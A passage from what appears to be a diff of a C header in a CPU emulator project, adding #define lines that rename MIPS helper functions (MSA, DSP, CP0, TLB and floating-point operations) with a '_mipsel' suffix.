helper_msa_fsne_df helper_msa_fsne_df_mipsel +#define helper_msa_fadd_df helper_msa_fadd_df_mipsel +#define helper_msa_fsub_df helper_msa_fsub_df_mipsel +#define helper_msa_fmul_df helper_msa_fmul_df_mipsel +#define helper_msa_fdiv_df helper_msa_fdiv_df_mipsel +#define helper_msa_fmadd_df helper_msa_fmadd_df_mipsel +#define helper_msa_fmsub_df helper_msa_fmsub_df_mipsel +#define helper_msa_fexp2_df helper_msa_fexp2_df_mipsel +#define helper_msa_fexdo_df helper_msa_fexdo_df_mipsel +#define helper_msa_ftq_df helper_msa_ftq_df_mipsel +#define helper_msa_fmin_df helper_msa_fmin_df_mipsel +#define helper_msa_fmin_a_df helper_msa_fmin_a_df_mipsel +#define helper_msa_fmax_df helper_msa_fmax_df_mipsel +#define helper_msa_fmax_a_df helper_msa_fmax_a_df_mipsel +#define helper_msa_fclass_df helper_msa_fclass_df_mipsel +#define helper_msa_ftrunc_s_df helper_msa_ftrunc_s_df_mipsel +#define helper_msa_ftrunc_u_df helper_msa_ftrunc_u_df_mipsel +#define helper_msa_fsqrt_df helper_msa_fsqrt_df_mipsel +#define helper_msa_frsqrt_df helper_msa_frsqrt_df_mipsel +#define helper_msa_frcp_df helper_msa_frcp_df_mipsel +#define helper_msa_frint_df helper_msa_frint_df_mipsel +#define helper_msa_flog2_df helper_msa_flog2_df_mipsel +#define helper_msa_fexupl_df helper_msa_fexupl_df_mipsel +#define helper_msa_fexupr_df helper_msa_fexupr_df_mipsel +#define helper_msa_ffql_df helper_msa_ffql_df_mipsel +#define helper_msa_ffqr_df helper_msa_ffqr_df_mipsel +#define helper_msa_ftint_s_df helper_msa_ftint_s_df_mipsel +#define helper_msa_ftint_u_df helper_msa_ftint_u_df_mipsel +#define helper_msa_ffint_s_df helper_msa_ffint_s_df_mipsel +#define helper_msa_ffint_u_df helper_msa_ffint_u_df_mipsel +#define helper_paddsb helper_paddsb_mipsel +#define helper_paddusb helper_paddusb_mipsel +#define helper_paddsh helper_paddsh_mipsel +#define helper_paddush helper_paddush_mipsel +#define helper_paddb helper_paddb_mipsel +#define helper_paddh helper_paddh_mipsel +#define helper_paddw helper_paddw_mipsel +#define helper_psubsb helper_psubsb_mipsel +#define helper_psubusb helper_psubusb_mipsel +#define helper_psubsh helper_psubsh_mipsel +#define helper_psubush helper_psubush_mipsel +#define helper_psubb helper_psubb_mipsel +#define helper_psubh helper_psubh_mipsel +#define helper_psubw helper_psubw_mipsel +#define helper_pshufh helper_pshufh_mipsel +#define helper_packsswh helper_packsswh_mipsel +#define helper_packsshb helper_packsshb_mipsel +#define helper_packushb helper_packushb_mipsel +#define helper_punpcklwd helper_punpcklwd_mipsel +#define helper_punpckhwd helper_punpckhwd_mipsel +#define helper_punpcklhw helper_punpcklhw_mipsel +#define helper_punpckhhw helper_punpckhhw_mipsel +#define helper_punpcklbh helper_punpcklbh_mipsel +#define helper_punpckhbh helper_punpckhbh_mipsel +#define helper_pavgh helper_pavgh_mipsel +#define helper_pavgb helper_pavgb_mipsel +#define helper_pmaxsh helper_pmaxsh_mipsel +#define helper_pminsh helper_pminsh_mipsel +#define helper_pmaxub helper_pmaxub_mipsel +#define helper_pminub helper_pminub_mipsel +#define helper_pcmpeqw helper_pcmpeqw_mipsel +#define helper_pcmpgtw helper_pcmpgtw_mipsel +#define helper_pcmpeqh helper_pcmpeqh_mipsel +#define helper_pcmpgth helper_pcmpgth_mipsel +#define helper_pcmpeqb helper_pcmpeqb_mipsel +#define helper_pcmpgtb helper_pcmpgtb_mipsel +#define helper_psllw helper_psllw_mipsel +#define helper_psrlw helper_psrlw_mipsel +#define helper_psraw helper_psraw_mipsel +#define helper_psllh helper_psllh_mipsel +#define helper_psrlh helper_psrlh_mipsel +#define helper_psrah helper_psrah_mipsel +#define helper_pmullh helper_pmullh_mipsel +#define helper_pmulhh helper_pmulhh_mipsel +#define helper_pmulhuh helper_pmulhuh_mipsel +#define helper_pmaddhw helper_pmaddhw_mipsel +#define helper_pasubub helper_pasubub_mipsel +#define helper_biadd helper_biadd_mipsel +#define helper_pmovmskb helper_pmovmskb_mipsel +#define helper_absq_s_ph helper_absq_s_ph_mipsel +#define helper_absq_s_qb helper_absq_s_qb_mipsel +#define helper_absq_s_w helper_absq_s_w_mipsel +#define helper_addqh_ph helper_addqh_ph_mipsel +#define helper_addqh_r_ph helper_addqh_r_ph_mipsel +#define helper_addqh_r_w helper_addqh_r_w_mipsel +#define helper_addqh_w helper_addqh_w_mipsel +#define helper_adduh_qb helper_adduh_qb_mipsel +#define helper_adduh_r_qb helper_adduh_r_qb_mipsel +#define helper_subqh_ph helper_subqh_ph_mipsel +#define helper_subqh_r_ph helper_subqh_r_ph_mipsel +#define helper_subqh_r_w helper_subqh_r_w_mipsel +#define helper_subqh_w helper_subqh_w_mipsel +#define helper_addq_ph helper_addq_ph_mipsel +#define helper_addq_s_ph helper_addq_s_ph_mipsel +#define helper_addq_s_w helper_addq_s_w_mipsel +#define helper_addu_ph helper_addu_ph_mipsel +#define helper_addu_qb helper_addu_qb_mipsel +#define helper_addu_s_ph helper_addu_s_ph_mipsel +#define helper_addu_s_qb helper_addu_s_qb_mipsel +#define helper_subq_ph helper_subq_ph_mipsel +#define helper_subq_s_ph helper_subq_s_ph_mipsel +#define helper_subq_s_w helper_subq_s_w_mipsel +#define helper_subu_ph helper_subu_ph_mipsel +#define helper_subu_qb helper_subu_qb_mipsel +#define helper_subu_s_ph helper_subu_s_ph_mipsel +#define helper_subu_s_qb helper_subu_s_qb_mipsel +#define helper_subuh_qb helper_subuh_qb_mipsel +#define helper_subuh_r_qb helper_subuh_r_qb_mipsel +#define helper_addsc helper_addsc_mipsel +#define helper_addwc helper_addwc_mipsel +#define helper_modsub helper_modsub_mipsel +#define helper_raddu_w_qb helper_raddu_w_qb_mipsel +#define helper_precr_qb_ph helper_precr_qb_ph_mipsel +#define helper_precrq_qb_ph helper_precrq_qb_ph_mipsel +#define helper_precr_sra_ph_w helper_precr_sra_ph_w_mipsel +#define helper_precr_sra_r_ph_w helper_precr_sra_r_ph_w_mipsel +#define helper_precrq_ph_w helper_precrq_ph_w_mipsel +#define helper_precrq_rs_ph_w helper_precrq_rs_ph_w_mipsel +#define helper_precrqu_s_qb_ph helper_precrqu_s_qb_ph_mipsel +#define helper_precequ_ph_qbl helper_precequ_ph_qbl_mipsel +#define helper_precequ_ph_qbr helper_precequ_ph_qbr_mipsel +#define helper_precequ_ph_qbla helper_precequ_ph_qbla_mipsel +#define helper_precequ_ph_qbra helper_precequ_ph_qbra_mipsel +#define helper_preceu_ph_qbl helper_preceu_ph_qbl_mipsel +#define helper_preceu_ph_qbr helper_preceu_ph_qbr_mipsel +#define helper_preceu_ph_qbla helper_preceu_ph_qbla_mipsel +#define helper_preceu_ph_qbra helper_preceu_ph_qbra_mipsel +#define helper_shll_qb helper_shll_qb_mipsel +#define helper_shrl_qb helper_shrl_qb_mipsel +#define helper_shra_qb helper_shra_qb_mipsel +#define helper_shra_r_qb helper_shra_r_qb_mipsel +#define helper_shll_ph helper_shll_ph_mipsel +#define helper_shll_s_ph helper_shll_s_ph_mipsel +#define helper_shll_s_w helper_shll_s_w_mipsel +#define helper_shra_r_w helper_shra_r_w_mipsel +#define helper_shrl_ph helper_shrl_ph_mipsel +#define helper_shra_ph helper_shra_ph_mipsel +#define helper_shra_r_ph helper_shra_r_ph_mipsel +#define helper_muleu_s_ph_qbl helper_muleu_s_ph_qbl_mipsel +#define helper_muleu_s_ph_qbr helper_muleu_s_ph_qbr_mipsel +#define helper_mulq_rs_ph helper_mulq_rs_ph_mipsel +#define helper_mul_ph helper_mul_ph_mipsel +#define helper_mul_s_ph helper_mul_s_ph_mipsel +#define helper_mulq_s_ph helper_mulq_s_ph_mipsel +#define helper_muleq_s_w_phl helper_muleq_s_w_phl_mipsel +#define helper_muleq_s_w_phr helper_muleq_s_w_phr_mipsel +#define helper_mulsaq_s_w_ph helper_mulsaq_s_w_ph_mipsel +#define helper_mulsa_w_ph helper_mulsa_w_ph_mipsel +#define helper_dpau_h_qbl helper_dpau_h_qbl_mipsel +#define helper_dpau_h_qbr helper_dpau_h_qbr_mipsel +#define helper_dpsu_h_qbl helper_dpsu_h_qbl_mipsel +#define helper_dpsu_h_qbr helper_dpsu_h_qbr_mipsel +#define helper_dpa_w_ph helper_dpa_w_ph_mipsel +#define helper_dpax_w_ph helper_dpax_w_ph_mipsel +#define helper_dps_w_ph helper_dps_w_ph_mipsel +#define helper_dpsx_w_ph helper_dpsx_w_ph_mipsel +#define helper_dpaq_s_w_ph helper_dpaq_s_w_ph_mipsel +#define helper_dpaqx_s_w_ph helper_dpaqx_s_w_ph_mipsel +#define helper_dpsq_s_w_ph helper_dpsq_s_w_ph_mipsel +#define helper_dpsqx_s_w_ph helper_dpsqx_s_w_ph_mipsel +#define helper_dpaqx_sa_w_ph helper_dpaqx_sa_w_ph_mipsel +#define helper_dpsqx_sa_w_ph helper_dpsqx_sa_w_ph_mipsel +#define helper_dpaq_sa_l_w helper_dpaq_sa_l_w_mipsel +#define helper_dpsq_sa_l_w helper_dpsq_sa_l_w_mipsel +#define helper_maq_s_w_phl helper_maq_s_w_phl_mipsel +#define helper_maq_s_w_phr helper_maq_s_w_phr_mipsel +#define helper_maq_sa_w_phl helper_maq_sa_w_phl_mipsel +#define helper_maq_sa_w_phr helper_maq_sa_w_phr_mipsel +#define helper_mulq_s_w helper_mulq_s_w_mipsel +#define helper_mulq_rs_w helper_mulq_rs_w_mipsel +#define helper_bitrev helper_bitrev_mipsel +#define helper_insv helper_insv_mipsel +#define helper_cmpgu_eq_qb helper_cmpgu_eq_qb_mipsel +#define helper_cmpgu_lt_qb helper_cmpgu_lt_qb_mipsel +#define helper_cmpgu_le_qb helper_cmpgu_le_qb_mipsel +#define helper_cmpu_eq_qb helper_cmpu_eq_qb_mipsel +#define helper_cmpu_lt_qb helper_cmpu_lt_qb_mipsel +#define helper_cmpu_le_qb helper_cmpu_le_qb_mipsel +#define helper_cmp_eq_ph helper_cmp_eq_ph_mipsel +#define helper_cmp_lt_ph helper_cmp_lt_ph_mipsel +#define helper_cmp_le_ph helper_cmp_le_ph_mipsel +#define helper_pick_qb helper_pick_qb_mipsel +#define helper_pick_ph helper_pick_ph_mipsel +#define helper_packrl_ph helper_packrl_ph_mipsel +#define helper_extr_w helper_extr_w_mipsel +#define helper_extr_r_w helper_extr_r_w_mipsel +#define helper_extr_rs_w helper_extr_rs_w_mipsel +#define helper_extr_s_h helper_extr_s_h_mipsel +#define helper_extp helper_extp_mipsel +#define helper_extpdp helper_extpdp_mipsel +#define helper_shilo helper_shilo_mipsel +#define helper_mthlip helper_mthlip_mipsel +#define cpu_wrdsp cpu_wrdsp_mipsel +#define helper_wrdsp helper_wrdsp_mipsel +#define cpu_rddsp cpu_rddsp_mipsel +#define helper_rddsp helper_rddsp_mipsel +#define helper_raise_exception_err helper_raise_exception_err_mipsel +#define helper_clo helper_clo_mipsel +#define helper_clz helper_clz_mipsel +#define helper_muls helper_muls_mipsel +#define helper_mulsu helper_mulsu_mipsel +#define helper_macc helper_macc_mipsel +#define helper_macchi helper_macchi_mipsel +#define helper_maccu helper_maccu_mipsel +#define helper_macchiu helper_macchiu_mipsel +#define helper_msac helper_msac_mipsel +#define helper_msachi helper_msachi_mipsel +#define helper_msacu helper_msacu_mipsel +#define helper_msachiu helper_msachiu_mipsel +#define helper_mulhi helper_mulhi_mipsel +#define helper_mulhiu helper_mulhiu_mipsel +#define helper_mulshi helper_mulshi_mipsel +#define helper_mulshiu helper_mulshiu_mipsel +#define helper_bitswap helper_bitswap_mipsel +#define helper_ll helper_ll_mipsel +#define helper_sc helper_sc_mipsel +#define helper_swl helper_swl_mipsel +#define helper_swr helper_swr_mipsel +#define helper_lwm helper_lwm_mipsel +#define helper_swm helper_swm_mipsel +#define helper_mfc0_mvpcontrol helper_mfc0_mvpcontrol_mipsel +#define helper_mfc0_mvpconf0 helper_mfc0_mvpconf0_mipsel +#define helper_mfc0_mvpconf1 helper_mfc0_mvpconf1_mipsel +#define helper_mfc0_random helper_mfc0_random_mipsel +#define helper_mfc0_tcstatus helper_mfc0_tcstatus_mipsel +#define helper_mftc0_tcstatus helper_mftc0_tcstatus_mipsel +#define helper_mfc0_tcbind helper_mfc0_tcbind_mipsel +#define helper_mftc0_tcbind helper_mftc0_tcbind_mipsel +#define helper_mfc0_tcrestart helper_mfc0_tcrestart_mipsel +#define helper_mftc0_tcrestart helper_mftc0_tcrestart_mipsel +#define helper_mfc0_tchalt helper_mfc0_tchalt_mipsel +#define helper_mftc0_tchalt helper_mftc0_tchalt_mipsel +#define helper_mfc0_tccontext helper_mfc0_tccontext_mipsel +#define helper_mftc0_tccontext helper_mftc0_tccontext_mipsel +#define helper_mfc0_tcschedule helper_mfc0_tcschedule_mipsel +#define helper_mftc0_tcschedule helper_mftc0_tcschedule_mipsel +#define helper_mfc0_tcschefback helper_mfc0_tcschefback_mipsel +#define helper_mftc0_tcschefback helper_mftc0_tcschefback_mipsel +#define helper_mfc0_count helper_mfc0_count_mipsel +#define helper_mftc0_entryhi helper_mftc0_entryhi_mipsel +#define helper_mftc0_cause helper_mftc0_cause_mipsel +#define helper_mftc0_status helper_mftc0_status_mipsel +#define helper_mfc0_lladdr helper_mfc0_lladdr_mipsel +#define helper_mfc0_watchlo helper_mfc0_watchlo_mipsel +#define helper_mfc0_watchhi helper_mfc0_watchhi_mipsel +#define helper_mfc0_debug helper_mfc0_debug_mipsel +#define helper_mftc0_debug helper_mftc0_debug_mipsel +#define helper_mtc0_index helper_mtc0_index_mipsel +#define helper_mtc0_mvpcontrol helper_mtc0_mvpcontrol_mipsel +#define helper_mtc0_vpecontrol helper_mtc0_vpecontrol_mipsel +#define helper_mttc0_vpecontrol helper_mttc0_vpecontrol_mipsel +#define helper_mftc0_vpecontrol helper_mftc0_vpecontrol_mipsel +#define helper_mftc0_vpeconf0 helper_mftc0_vpeconf0_mipsel +#define helper_mtc0_vpeconf0 helper_mtc0_vpeconf0_mipsel +#define helper_mttc0_vpeconf0 helper_mttc0_vpeconf0_mipsel +#define helper_mtc0_vpeconf1 helper_mtc0_vpeconf1_mipsel +#define helper_mtc0_yqmask helper_mtc0_yqmask_mipsel +#define helper_mtc0_vpeopt helper_mtc0_vpeopt_mipsel +#define helper_mtc0_entrylo0 helper_mtc0_entrylo0_mipsel +#define helper_mtc0_tcstatus helper_mtc0_tcstatus_mipsel +#define helper_mttc0_tcstatus helper_mttc0_tcstatus_mipsel +#define helper_mtc0_tcbind helper_mtc0_tcbind_mipsel +#define helper_mttc0_tcbind helper_mttc0_tcbind_mipsel +#define helper_mtc0_tcrestart helper_mtc0_tcrestart_mipsel +#define helper_mttc0_tcrestart helper_mttc0_tcrestart_mipsel +#define helper_mtc0_tchalt helper_mtc0_tchalt_mipsel +#define helper_mttc0_tchalt helper_mttc0_tchalt_mipsel +#define helper_mtc0_tccontext helper_mtc0_tccontext_mipsel +#define helper_mttc0_tccontext helper_mttc0_tccontext_mipsel +#define helper_mtc0_tcschedule helper_mtc0_tcschedule_mipsel +#define helper_mttc0_tcschedule helper_mttc0_tcschedule_mipsel +#define helper_mtc0_tcschefback helper_mtc0_tcschefback_mipsel +#define helper_mttc0_tcschefback helper_mttc0_tcschefback_mipsel +#define helper_mtc0_entrylo1 helper_mtc0_entrylo1_mipsel +#define helper_mtc0_context helper_mtc0_context_mipsel +#define helper_mtc0_pagemask helper_mtc0_pagemask_mipsel +#define helper_mtc0_pagegrain helper_mtc0_pagegrain_mipsel +#define helper_mtc0_wired helper_mtc0_wired_mipsel +#define helper_mtc0_srsconf0 helper_mtc0_srsconf0_mipsel +#define helper_mtc0_srsconf1 helper_mtc0_srsconf1_mipsel +#define helper_mtc0_srsconf2 helper_mtc0_srsconf2_mipsel +#define helper_mtc0_srsconf3 helper_mtc0_srsconf3_mipsel +#define helper_mtc0_srsconf4 helper_mtc0_srsconf4_mipsel +#define helper_mtc0_hwrena helper_mtc0_hwrena_mipsel +#define helper_mtc0_count helper_mtc0_count_mipsel +#define helper_mtc0_entryhi helper_mtc0_entryhi_mipsel +#define helper_mttc0_entryhi helper_mttc0_entryhi_mipsel +#define helper_mtc0_compare helper_mtc0_compare_mipsel +#define helper_mtc0_status helper_mtc0_status_mipsel +#define helper_mttc0_status helper_mttc0_status_mipsel +#define helper_mtc0_intctl helper_mtc0_intctl_mipsel +#define helper_mtc0_srsctl helper_mtc0_srsctl_mipsel +#define helper_mtc0_cause helper_mtc0_cause_mipsel +#define helper_mttc0_cause helper_mttc0_cause_mipsel +#define helper_mftc0_epc helper_mftc0_epc_mipsel +#define helper_mftc0_ebase helper_mftc0_ebase_mipsel +#define helper_mtc0_ebase helper_mtc0_ebase_mipsel +#define helper_mttc0_ebase helper_mttc0_ebase_mipsel +#define helper_mftc0_configx helper_mftc0_configx_mipsel +#define helper_mtc0_config0 helper_mtc0_config0_mipsel +#define helper_mtc0_config2 helper_mtc0_config2_mipsel +#define helper_mtc0_config4 helper_mtc0_config4_mipsel +#define helper_mtc0_config5 helper_mtc0_config5_mipsel +#define helper_mtc0_lladdr helper_mtc0_lladdr_mipsel +#define helper_mtc0_watchlo helper_mtc0_watchlo_mipsel +#define helper_mtc0_watchhi helper_mtc0_watchhi_mipsel +#define helper_mtc0_xcontext helper_mtc0_xcontext_mipsel +#define helper_mtc0_framemask helper_mtc0_framemask_mipsel +#define helper_mtc0_debug helper_mtc0_debug_mipsel +#define helper_mttc0_debug helper_mttc0_debug_mipsel +#define helper_mtc0_performance0 helper_mtc0_performance0_mipsel +#define helper_mtc0_taglo helper_mtc0_taglo_mipsel +#define helper_mtc0_datalo helper_mtc0_datalo_mipsel +#define helper_mtc0_taghi helper_mtc0_taghi_mipsel +#define helper_mtc0_datahi helper_mtc0_datahi_mipsel +#define helper_mftgpr helper_mftgpr_mipsel +#define helper_mftlo helper_mftlo_mipsel +#define helper_mfthi helper_mfthi_mipsel +#define helper_mftacx helper_mftacx_mipsel +#define helper_mftdsp helper_mftdsp_mipsel +#define helper_mttgpr helper_mttgpr_mipsel +#define helper_mttlo helper_mttlo_mipsel +#define helper_mtthi helper_mtthi_mipsel +#define helper_mttacx helper_mttacx_mipsel +#define helper_mttdsp helper_mttdsp_mipsel +#define helper_dmt helper_dmt_mipsel +#define helper_emt helper_emt_mipsel +#define helper_dvpe helper_dvpe_mipsel +#define helper_evpe helper_evpe_mipsel +#define helper_fork helper_fork_mipsel +#define helper_yield helper_yield_mipsel +#define r4k_helper_tlbinv r4k_helper_tlbinv_mipsel +#define r4k_helper_tlbinvf r4k_helper_tlbinvf_mipsel +#define r4k_helper_tlbwi r4k_helper_tlbwi_mipsel +#define r4k_helper_tlbwr r4k_helper_tlbwr_mipsel +#define r4k_helper_tlbp r4k_helper_tlbp_mipsel +#define r4k_helper_tlbr r4k_helper_tlbr_mipsel +#define helper_tlbwi helper_tlbwi_mipsel +#define helper_tlbwr helper_tlbwr_mipsel +#define helper_tlbp helper_tlbp_mipsel +#define helper_tlbr helper_tlbr_mipsel +#define helper_tlbinv helper_tlbinv_mipsel +#define helper_tlbinvf helper_tlbinvf_mipsel +#define helper_di helper_di_mipsel +#define helper_ei helper_ei_mipsel +#define helper_eret helper_eret_mipsel +#define helper_deret helper_deret_mipsel +#define helper_rdhwr_cpunum helper_rdhwr_cpunum_mipsel +#define helper_rdhwr_synci_step helper_rdhwr_synci_step_mipsel +#define helper_rdhwr_cc helper_rdhwr_cc_mipsel +#define helper_rdhwr_ccres helper_rdhwr_ccres_mipsel +#define helper_pmon helper_pmon_mipsel +#define helper_wait helper_wait_mipsel +#define mips_cpu_do_unaligned_access mips_cpu_do_unaligned_access_mipsel +#define mips_cpu_unassigned_access mips_cpu_unassigned_access_mipsel +#define ieee_rm ieee_rm_mipsel +#define helper_cfc1 helper_cfc1_mipsel +#define helper_ctc1 helper_ctc1_mipsel +#define ieee_ex_to_mips ieee_ex_to_mips_mipsel +#define helper_float_sqrt_d helper_float_sqrt_d_mipsel +#define helper_float_sqrt_s helper_float_sqrt_s_mipsel +#define helper_float_cvtd_s helper_float_cvtd_s_mipsel +#define helper_float_cvtd_w helper_float_cvtd_w_mipsel +#define helper_float_cvtd_l helper_float_cvtd_l_mipsel +#define helper_float_cvtl_d helper_float_cvtl_d_mipsel +#define helper_float_cvtl_s helper_float_cvtl_s_mipsel +#define helper_float_cvtps_pw helper_float_cvtps_pw_mipsel +#define helper_float_cvtpw_ps helper_float_cvtpw_ps_mipsel +#define helper_float_cvts_d helper_float_cvts_d_mipsel +#define helper_float_cvts_w helper_float_cvts_w_mipsel +#define helper_float_cvts_l helper_float_cvts_l_mipsel +#define helper_float_cvts_pl helper_float_cvts_pl_mipsel +#define helper_float_cvts_pu helper_float_cvts_pu_mipsel +#define helper_float_cvtw_s helper_float_cvtw_s_mipsel +#define helper_float_cvtw_d helper_float_cvtw_d_mipsel +#define helper_float_roundl_d helper_float_roundl_d_mipsel +#define helper_float_roundl_s helper_float_roundl_s_mipsel +#define helper_float_roundw_d helper_float_roundw_d_mipsel +#define helper_float_roundw_s helper_float_roundw_s_mipsel +#define helper_float_truncl_d helper_float_truncl_d_mipsel +#define helper_float_truncl_s helper_float_truncl_s_mipsel +#define helper_float_truncw_d helper_float_truncw_d_mipsel +#define helper_float_truncw_s helper_float_truncw_s_mipsel +#define helper_float_ceill_d helper_float_ceill_d_mipsel +#define helper_float_ceill_s helper_float_ceill_s_mipsel +#define helper_float_ceilw_d helper_float_ceilw_d_mipsel +#define helper_float_ceilw_s helper_float_ceilw_s_mipsel +#define helper_float_floorl_d helper_float_floorl_d_mipsel +#define helper_float_floorl_s helper_float_floorl_s_mipsel +#define helper_float_floorw_d helper_float_floorw_d_mipsel +#define helper_float_floorw_s helper_float_floorw_s_mipsel +#define helper_float_abs_d helper_float_abs_d_mipsel +#define helper_float_abs_s helper_float_abs_s_mipsel +#define helper_float_abs_ps helper_float_abs_ps_mipsel +#define helper_float_chs_d helper_float_chs_d_mipsel +#define helper_float_chs_s helper_float_chs_s_mipsel +#define helper_float_chs_ps helper_float_chs_ps_mipsel +#define helper_float_maddf_s helper_float_maddf_s_mipsel +#define helper_float_maddf_d helper_float_maddf_d_mipsel +#define helper_float_msubf_s helper_float_msubf_s_mipsel +#define helper_float_msubf_d helper_float_msubf_d_mipsel +#define helper_float_max_s helper_float_max_s_mipsel +#define helper_float_max_d helper_float_max_d_mipsel +#define helper_float_maxa_s helper_float_maxa_s_mipsel +#define helper_float_maxa_d helper_float_maxa_d_mipsel +#define helper_float_min_s helper_float_min_s_mipsel +#define helper_float_min_d helper_float_min_d_mipsel +#define helper_float_mina_s helper_float_mina_s_mipsel +#define helper_float_mina_d helper_float_mina_d_mipsel +#define helper_float_rint_s helper_float_rint_s_mipsel +#define helper_float_rint_d helper_float_rint_d_mipsel +#define helper_float_class_s helper_float_class_s_mipsel +#define helper_float_class_d helper_float_class_d_mipsel +#define helper_float_recip_d helper_float_recip_d_mipsel +#define helper_float_recip_s helper_float_recip_s_mipsel +#define helper_float_rsqrt_d helper_float_rsqrt_d_mipsel +#define helper_float_rsqrt_s helper_float_rsqrt_s_mipsel +#define helper_float_recip1_d helper_float_recip1_d_mipsel +#define helper_float_recip1_s helper_float_recip1_s_mipsel +#define helper_float_recip1_ps helper_float_recip1_ps_mipsel +#define helper_float_rsqrt1_d helper_float_rsqrt1_d_mipsel +#define helper_float_rsqrt1_s helper_float_rsqrt1_s_mipsel +#define helper_float_rsqrt1_ps helper_float_rsqrt1_ps_mipsel +#define helper_float_add_d helper_float_add_d_mipsel +#define helper_float_add_s helper_float_add_s_mipsel +#define helper_float_add_ps helper_float_add_ps_mipsel +#define helper_float_sub_d helper_float_sub_d_mipsel +#define helper_float_sub_s helper_float_sub_s_mipsel +#define helper_float_sub_ps helper_float_sub_ps_mipsel +#define helper_float_mul_d helper_float_mul_d_mipsel +#define helper_float_mul_s helper_float_mul_s_mipsel +#define helper_float_mul_ps helper_float_mul_ps_mipsel +#define helper_float_div_d helper_float_div_d_mipsel +#define helper_float_div_s helper_float_div_s_mipsel +#define helper_float_div_ps helper_float_div_ps_mipsel +#define helper_float_madd_d helper_float_madd_d_mipsel +#define helper_float_madd_s helper_float_madd_s_mipsel +#define helper_float_madd_ps helper_float_madd_ps_mipsel +#define helper_float_msub_d helper_float_msub_d_mipsel +#define helper_float_msub_s helper_float_msub_s_mipsel +#define helper_float_msub_ps helper_float_msub_ps_mipsel +#define helper_float_nmadd_d helper_float_nmadd_d_mipsel +#define helper_float_nmadd_s helper_float_nmadd_s_mipsel +#define helper_float_nmadd_ps helper_float_nmadd_ps_mipsel +#define helper_float_nmsub_d helper_float_nmsub_d_mipsel +#define helper_float_nmsub_s helper_float_nmsub_s_mipsel +#define helper_float_nmsub_ps helper_float_nmsub_ps_mipsel +#define helper_float_recip2_d helper_float_recip2_d_mipsel +#define helper_float_recip2_s helper_float_recip2_s_mipsel +#define helper_float_recip2_ps helper_float_recip2_ps_mipsel +#define helper_float_rsqrt2_d helper_float_rsqrt2_d_mipsel +#define helper_float_rsqrt2_s helper_float_rsqrt2_s_mipsel +#define helper_float_rsqrt2_ps helper_float_rsqrt2_ps_mipsel +#define helper_float_addr_ps helper_float_addr_ps_mipsel +#define helper_float_mulr_ps helper_float_mulr_ps_mipsel +#define helper_cmp_d_f helper_cmp_d_f_mipsel +#define helper_cmpabs_d_f helper_cmpabs_d_f_mipsel +#define helper_cmp_d_un helper_cmp_d_un_mipsel +#define helper_cmpabs_d_un helper_cmpabs_d_un_mipsel +#define helper_cmp_d_eq helper_cmp_d_eq_mipsel +#define helper_cmpabs_d_eq helper_cmpabs_d_eq_mipsel +#define helper_cmp_d_ueq helper_cmp_d_ueq_mipsel +#define helper_cmpabs_d_ueq helper_cmpabs_d_ueq_mipsel +#define helper_cmp_d_olt helper_cmp_d_olt_mipsel +#define helper_cmpabs_d_olt helper_cmpabs_d_olt_mipsel +#define helper_cmp_d_ult helper_cmp_d_ult_mipsel +#define helper_cmpabs_d_ult helper_cmpabs_d_ult_mipsel +#define helper_cmp_d_ole helper_cmp_d_ole_mipsel +#define helper_cmpabs_d_ole helper_cmpabs_d_ole_mipsel +#define helper_cmp_d_ule helper_cmp_d_ule_mipsel +#define helper_cmpabs_d_ule helper_cmpabs_d_ule_mipsel +#define helper_cmp_d_sf helper_cmp_d_sf_mipsel +#define helper_cmpabs_d_sf helper_cmpabs_d_sf_mipsel +#define helper_cmp_d_ngle helper_cmp_d_ngle_mipsel +#define helper_cmpabs_d_ngle helper_cmpabs_d_ngle_mipsel +#define helper_cmp_d_seq helper_cmp_d_seq_mipsel +#define helper_cmpabs_d_seq helper_cmpabs_d_seq_mipsel +#define helper_cmp_d_ngl helper_cmp_d_ngl_mipsel +#define helper_cmpabs_d_ngl helper_cmpabs_d_ngl_mipsel +#define helper_cmp_d_lt helper_cmp_d_lt_mipsel +#define helper_cmpabs_d_lt helper_cmpabs_d_lt_mipsel +#define helper_cmp_d_nge helper_cmp_d_nge_mipsel +#define helper_cmpabs_d_nge helper_cmpabs_d_nge_mipsel +#define helper_cmp_d_le helper_cmp_d_le_mipsel +#define helper_cmpabs_d_le helper_cmpabs_d_le_mipsel +#define helper_cmp_d_ngt helper_cmp_d_ngt_mipsel +#define helper_cmpabs_d_ngt helper_cmpabs_d_ngt_mipsel +#define helper_cmp_s_f helper_cmp_s_f_mipsel +#define helper_cmpabs_s_f helper_cmpabs_s_f_mipsel +#define helper_cmp_s_un helper_cmp_s_un_mipsel +#define helper_cmpabs_s_un helper_cmpabs_s_un_mipsel +#define helper_cmp_s_eq helper_cmp_s_eq_mipsel +#define helper_cmpabs_s_eq helper_cmpabs_s_eq_mipsel +#define helper_cmp_s_ueq helper_cmp_s_ueq_mipsel +#define helper_cmpabs_s_ueq helper_cmpabs_s_ueq_mipsel +#define helper_cmp_s_olt helper_cmp_s_olt_mipsel +#define helper_cmpabs_s_olt helper_cmpabs_s_olt_mipsel +#define helper_cmp_s_ult helper_cmp_s_ult_mipsel +#define helper_cmpabs_s_ult helper_cmpabs_s_ult_mipsel +#define helper_cmp_s_ole helper_cmp_s_ole_mipsel +#define helper_cmpabs_s_ole helper_cmpabs_s_ole_mipsel +#define helper_cmp_s_ule helper_cmp_s_ule_mipsel +#define helper_cmpabs_s_ule helper_cmpabs_s_ule_mipsel +#define helper_cmp_s_sf helper_cmp_s_sf_mipsel +#define helper_cmpabs_s_sf helper_cmpabs_s_sf_mipsel +#define helper_cmp_s_ngle helper_cmp_s_ngle_mipsel +#define helper_cmpabs_s_ngle helper_cmpabs_s_ngle_mipsel +#define helper_cmp_s_seq helper_cmp_s_seq_mipsel +#define helper_cmpabs_s_seq helper_cmpabs_s_seq_mipsel +#define helper_cmp_s_ngl helper_cmp_s_ngl_mipsel +#define helper_cmpabs_s_ngl helper_cmpabs_s_ngl_mipsel +#define helper_cmp_s_lt helper_cmp_s_lt_mipsel +#define helper_cmpabs_s_lt helper_cmpabs_s_lt_mipsel +#define helper_cmp_s_nge helper_cmp_s_nge_mipsel +#define helper_cmpabs_s_nge helper_cmpabs_s_nge_mipsel +#define helper_cmp_s_le helper_cmp_s_le_mipsel +#define helper_cmpabs_s_le helper_cmpabs_s_le_mipsel +#define helper_cmp_s_ngt helper_cmp_s_ngt_mipsel +#define helper_cmpabs_s_ngt helper_cmpabs_s_ngt_mipsel +#define helper_cmp_ps_f helper_cmp_ps_f_mipsel +#define helper_cmpabs_ps_f helper_cmpabs_ps_f_mipsel +#define helper_cmp_ps_un helper_cmp_ps_un_mipsel +#define helper_cmpabs_ps_un 